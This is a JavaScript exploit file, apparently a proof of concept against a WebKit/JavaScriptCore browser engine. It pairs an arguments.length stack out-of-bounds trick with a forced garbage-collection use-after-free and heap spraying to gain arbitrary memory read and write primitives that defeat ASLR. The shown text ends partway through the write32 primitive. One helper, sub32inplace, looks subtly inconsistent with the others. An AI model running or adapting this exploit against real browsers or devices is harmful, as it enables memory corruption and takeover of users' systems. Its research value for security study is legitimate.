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exploit.js
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/* Set up variables that will be used later on */
var _dview;
/*
Zero out a buffer
*/
function zeroFill( number, width )
{
width -= number.toString().length;
if ( width > 0 )
{
return new Array( width + (/\./.test( number ) ? 2 : 1) ).join( '0' ) + number;
}
return number + ""; // always return a string
}
/*
Int64 library for address operations
*/
function int64(low,hi) {
this.low = (low>>>0);
this.hi = (hi>>>0);
this.add32inplace = function(val) {
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo < this.low) {
new_hi++;
}
this.hi=new_hi;
this.low=new_lo;
}
this.add32 = function(val) {
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo < this.low) {
new_hi++;
}
return new int64(new_lo, new_hi);
}
this.sub32 = function(val) {
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo > (this.low) & 0xFFFFFFFF) {
new_hi--;
}
return new int64(new_lo, new_hi);
}
this.sub32inplace = function(val) {
var new_lo = (((this.low >>> 1) - val) & 0xFFFFFFFF) >>> 1;
var new_hi = (this.hi >>> 1);
if (new_lo > (this.low) & 0xFFFFFFFF) {
new_hi--;
}
this.hi=new_hi;
this.low=new_lo;
}
this.and32 = function(val) {
var new_lo = this.low & val;
var new_hi = this.hi;
return new int64(new_lo, new_hi);
}
this.and64 = function(vallo, valhi) {
var new_lo = this.low & vallo;
var new_hi = this.hi & valhi;
return new int64(new_lo, new_hi);
}
this.toString = function(val) {
val = 16; // eh
var lo_str = (this.low >>> 0).toString(val);
var hi_str = (this.hi >>> 0).toString(val);
if(this.hi == 0) return lo_str;
else {
lo_str = zeroFill(lo_str, 8)
}
return hi_str+lo_str;
}
this.toPacked = function() {
return {hi: this.hi, low: this.low};
}
this.setPacked = function(pck) {
this.hi=pck.hi;
this.low=pck.low;
return this;
}
return this;
}
var memPressure = new Array(400); // For forcing GC via memory pressure
var stackFrame = []; // Our fake stack in memory
var frameIndex = 1; // Set index in fake stack to 0 (0xFF00)
var stackPeek = 1;
/* Force garbage collection via memory pressure */
var doGarbageCollection = function()
{
/* Apply memory pressure */
for (var i = 0; i < memPressure.length; i++)
{
memPressure[i] = new Uint32Array(0x10000);
}
/* Zero out the buffer */
for (var i = 0; i < memPressure.length; i++)
{
memPressure[i] = 0;
}
}
/* For peeking the stack (reading) */
function peek_stack()
{
var mem;
var retno;
var oldRetno;
/* Set arguments.length to return 0xFFFF on first call, and 1 on subsequent calls */
retno = 0xFFFF;
arguments.length =
{
valueOf: function()
{
oldRetno = retno;
retno = 1;
return oldRetno;
}
}
/*
What this essentially does is when function.prototype.apply() is called, it will
check arguments length. Where it should return 1 (the actual size), it actually
returns 0xFFFF due to the function above. This allows an out-of-bounds read
on the stack, and allows us to control uninitialized memory regions
*/
var args = arguments;
(function() {
(function() {
(function() {
mem = arguments[0xFF00];
}).apply(undefined, args);
}).apply(undefined, stackFrame);
}).apply(undefined, stackFrame);
stackPeek = mem;
return mem;
}
/* For poking the stack (writing) */
function poke_stack(val)
{
/* Set stack frame value @ frameIndex */
stackFrame[frameIndex] = val;
/* Apply to uninitialized memory region on the stack */
(function() {
(function() {
(function() {
}).apply(null, stackFrame);
}).apply(null, stackFrame);
}).apply(null, stackFrame);
/* Clear value in stack frame @ frameIndex as it's been applied already */
stackFrame[frameIndex] = "";
}
/* Run exploit PoC */
function run() {
try
{
/*
Set each integer in the stackframe to it's index, this way we can peek
the stack to align it
*/
for(var i = 0; i < 0xFFFF; i++)
{
stackFrame[i] = i;
}
/*
Attempt to poke and peek the stack. If the peek returns null, it means
the out-of-bounds read failed, throw an exception and catch it.
*/
frameIndex = 0;
poke_stack(0);
if (peek_stack() == undefined) {
throw "System is not vulnerable!";
}
/* Setup our stack frame so our target object reference resides inside of it */
frameIndex = 0;
poke_stack(0);
peek_stack();
frameIndex = stackPeek;
/* Align the stack frame */
poke_stack(0x4141);
for (var align = 0; align < 8; align++)
(function(){})();
/* Test if we aligned our stack frame properly, if not throw exception and catch */
peek_stack();
if (stackPeek != 0x4141)
{
throw "Couldn't align stack frame to stack!";
}
/* Setup spray to overwrite the length header in UAF'd object's butterfly */
var butterflySpray = new Array(0x1000);
for (var i = 0; i < 0x1000; i++)
{
butterflySpray[i] = [];
for (var k = 0; k < 0x40; k++)
{
butterflySpray[i][k] = 0x42424242;
}
butterflySpray[i].unshift(butterflySpray[i].shift());
}
/* Spray marked space */
var sprayOne = new Array(0x100);
for (var i = 0; i < 0x100; i++)
{
sprayOne[i] = [1];
if (!(i & 3))
{
for (var k = 0; k < 0x8; k++)
{
sprayOne[i][k] = 0x68686849;
}
}
sprayOne[i].unshift(sprayOne[i].shift());
}
var sprayTwo = new Array(0x400);
for (var i = 0; i < 0x400; i++)
{
sprayTwo[i] = [2];
if (!(i & 3))
{
for (var k = 0; k < 0x80; k++)
{
sprayTwo[i][k] = 0x43434343;
}
}
sprayTwo[i].unshift(sprayTwo[i].shift());
}
/* Setup target object for UAF, spray */
var uafTarget = [];
for (var i = 0; i < 0x80; i++) {
uafTarget[i] = 0x42420000;
}
/* Store target on the stack to maintain a reference after forced garbage collection */
poke_stack(uafTarget);
/* Remove references so they're free'd when garbage collection occurs */
uafTarget = 0;
sprayOne = 0;
sprayTwo = 0;
/* Force garbage collection */
for (var k = 0; k < 4; k++)
doGarbageCollection();
/* Re-collect our maintained reference from the stack */
peek_stack();
uafTarget = stackPeek;
stackPeek = 0;
/*
We now have access to uninitialized memory, force a heap overflow by
overwriting the "length" field of our UAF'd object's butterfly via spraying
*/
for (var i = 0; i < 0x1000; i++)
{
for (var k = 0x0; k < 0x80; k++)
{
butterflySpray[i][k] = 0x7FFFFFFF;
/*
Find our UAF'd object via modified length, which should be the maximum
value for a 32-bit integer. If it is, we've successfully primitive our
butterfly's length header!
*/
if (uafTarget.length == 0x7FFFFFFF)
{
/* Store index of butterfly for UAF'd object for primitiveSpray */
var butterflyIndex = i;
/* Remove all references except what we need to free memory */
for (var i = 0; i < butterflyIndex; i++)
butterflySpray[i] = 0;
for (var i = butterflyIndex + 1; i < 0x1000; i++)
butterflySpray[i] = 0;
doGarbageCollection();
/* Spray to obtain a read/write primitive */
var primitiveSpray = new Array(0x70000);
var potentialPrim = new ArrayBuffer(0x1000);
for (var i = 0; i < 0x70000; i++)
{
primitiveSpray[i] = i;
}
var overlap = new Array(0x80);
/* Setup potential uint32array slaves for our read/write primitive */
for (var i = 0; i < 0x20000; i++)
{
primitiveSpray[i] = new Uint32Array(potentialPrim);
}
/* Find a slave uint32array from earlier spray */
var currentQword = 0x10000;
var found = false;
var smashedButterfly = new int64(0,0);
var origData = new int64(0, 0);
var locateHelper = new int64(0, 0);
while (!found)
{
/*
Change qword value for uint32array size to 0x1337 in UAF'd object
to defeat U-ASLR
*/
var savedVal = uafTarget[currentQword];
uafTarget[currentQword] = 0x1337;
/* Check sprayed uint32array slaves for modified size */
for (var i = 0; i < 0x20000; i++)
{
if (primitiveSpray[i] && primitiveSpray[i].byteLength != 0x1000)
{
/*
Found our primitive! Restore uint32array size as 0x1000 is
sufficient.
*/
uafTarget[currentQword] = savedVal;
var primitive = primitiveSpray[i];
var overlap = [1337];
uafTarget[currentQword - 5] = overlap;
smashedButterfly.low = primitive[2];
smashedButterfly.hi = primitive[3];
smashedButterfly.keep_gc = overlap;
/* Find previous ArrayBufferView */
uafTarget[currentQword - 5] = uafTarget[currentQword - 2];
butterflySpray[butterflyIndex][k] = 0;
origData.low = primitive[4];
origData.hi = primitive[5];
primitive[4] = primitive[12];
primitive[5] = primitive[13];
primitive[14] = 0x40;
/* Find our uint32array slave for writing values */
var slave = undefined;
for (var k = 0; k < 0x20000; k++)
{
if (primitiveSpray[k].length == 0x40)
{
slave = primitiveSpray[k];
break;
}
}
if(!slave)
throw "Could not find slave for write primitive!";
/* Set primitive address to that of the smashed butterfly's */
primitive[4] = smashedButterfly.low;
primitive[5] = smashedButterfly.hi;
/* Setup primitive and slave for primitive functions */
overlap[0] = uafTarget;
var targetEntry = new int64(slave[0], slave[1]);
primitive[4] = targetEntry.low;
primitive[5] = targetEntry.hi;
slave[2] = 0;
slave[3] = 0;
/* Clear references for future collection from GC */
uafTarget = 0;
primitiveSpray = 0;
/* Finally restore primitive address to it's original state */
primitive[4] = origData.low;
primitive[5] = origData.hi;
/*
Derive primitive functions
*/
/* Purpose: Leak object addresses for ASLR defeat */
var leakval = function(obj)
{
primitive[4] = smashedButterfly.low;
primitive[5] = smashedButterfly.hi;
overlap[0] = obj;
var val = new int64(slave[0], slave[1]);
slave[0] = 1337;
slave[1] = 0xffff0000;
primitive[4] = origData.low;
primitive[5] = origData.hi;
return val;
}
/* Purpose: Create a value (used for checking the primitive) */
var createval = function(val)
{
primitive[4] = smashedButterfly.low;
primitive[5] = smashedButterfly.hi;
slave[0] = val.low;
slave[1] = val.hi;
var val = overlap[0];
slave[0] = 1337;
slave[1] = 0xffff0000;
primitive[4] = origData.low;
primitive[5] = origData.hi;
return val;
}
/* Purpose: Read 32-bits (or 4 bytes) from address */
var read32 = function(addr)
{
primitive[4] = addr.low;
primitive[5] = addr.hi;
var val = slave[0];
primitive[4] = origData.low;
primitive[5] = origData.hi;
return val;
}
/* Purpose: Read 64-bits (or 8 bytes) from address */
var read64 = function(addr)
{
primitive[4] = addr.low;
primitive[5] = addr.hi;
var val = new int64(slave[0], slave[1]);
primitive[4] = origData.low;
primitive[5] = origData.hi;
return val;
}
/* Purpose: Write 32-bits (or 4 bytes) to address */
var write32 = function(addr, val)
{
primitive[4] = addr.low;
primitive[5] = addr.hi;
slave[0] = val;
primitive[4] = origData.low;
primitive[5] = origData.hi;